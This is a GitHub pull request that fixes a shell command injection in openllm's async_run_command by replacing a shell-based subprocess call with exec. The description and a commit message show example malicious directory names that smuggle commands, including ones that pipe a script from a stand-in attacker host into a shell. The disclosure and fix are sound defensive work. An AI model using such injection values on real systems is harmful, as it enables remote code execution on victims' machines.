Skip to content

fix(security): use exec instead of shell in async_run_command (CWE-78) - #1235

Open
Anai-Guo wants to merge 2 commits into
bentoml:mainfrom
Anai-Guo:fix-async-run-command-shell-injection
Open

fix(security): use exec instead of shell in async_run_command (CWE-78)#1235
Anai-Guo wants to merge 2 commits into
bentoml:mainfrom
Anai-Guo:fix-async-run-command-shell-injection

Conversation

@Anai-Guo

@Anai-Guo Anai-Guo commented Jul 7, 2026

Copy link
Copy Markdown

Summary

Fixes #1229 — an OS command injection (CWE-78) in async_run_command.

async_run_command (in src/openllm/common.py) launches model servers with:

proc = await asyncio.create_subprocess_shell(
    ' '.join(map(str, cmd)),
    ...
)

The argv list is joined into a single string and handed to a shell. One of the tokens is bento.bentoml_tag, defined as:

return f'{self.path.parent.name}:{self.path.name}'

self.path points at a model-version directory inside a cloned model repository, and neither the model-name nor version directory name is sanitized or quoted. A repository whose directory is named with shell metacharacters — e.g. 1.0;curl${IFS}attacker.com/x.sh|sh;echo — is then split by the shell into multiple commands, so openllm run / openllm serve against an attacker-controlled repo executes arbitrary commands on the victim's machine.

Fix

Switch the async path from create_subprocess_shell(' '.join(cmd)) to create_subprocess_exec(*cmd). exec passes the argv list straight to the OS with no shell, so metacharacters in a directory name stay literal argument tokens instead of being interpreted.

This mirrors the synchronous run_command in the same module, which is already safe because it uses the list form subprocess.run(cmd, ...) (no shell=True). Legitimate commands are always plain argv lists (['bentoml', 'serve', tag, ...], later rewritten to [python, '-m', 'bentoml', ...]), so there is no behavior change — only the shell interpretation layer is removed.

Verification

  • cmd is already normalized to list[str] earlier in the function (cmd = [str(c) for c in cmd]), and the bentoml/python rewrites keep it a proper argv list, so *cmd unpacks cleanly into create_subprocess_exec.
  • No pipes, redirects, env-var expansion, or other shell features are used by the constructed commands, so exec is a drop-in replacement.
  • After the change, a tag such as evilmodel:1.0;whoami>pwned;echo is passed as a single literal argv token to bentoml serve (which rejects it as an invalid tag) instead of being executed.

🤖 Generated with Claude Code

Anai-Guo and others added 2 commits July 6, 2026 18:17
async_run_command launched model servers via
asyncio.create_subprocess_shell(' '.join(cmd)), joining the argv list into
a single string handed to a shell. The bentoml tag embedded in that command
is derived from cloned-repository directory names
(bentoml_tag = f'{path.parent.name}:{path.name}'), which are never
sanitized. A model repository whose directory name contains shell
metacharacters (e.g. '1.0;curl attacker/x|sh;echo') therefore causes
arbitrary command execution when a user runs 'openllm run' against it
(OS command injection, CWE-78).

Switch to asyncio.create_subprocess_exec(*cmd), which passes the argv list
directly to the OS without a shell, so metacharacters remain literal
tokens. This matches the synchronous run_command, which already uses the
list-based subprocess.run(cmd) form. No behavior change for legitimate
commands, which are always plain argv lists.

Signed-off-by: Anai-Guo <antai12232931@outlook.com>
@Anai-Guo

Copy link
Copy Markdown
Author

Friendly ping — this security fix for CWE-78 shell injection has been open for 2 weeks. Is there anything else needed for review?

1 similar comment
@Anai-Guo

Copy link
Copy Markdown
Author

Friendly ping — this security fix for CWE-78 shell injection has been open for 2 weeks. Is there anything else needed for review?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Security] Shell command injection via malicious model repository directory names

1 participant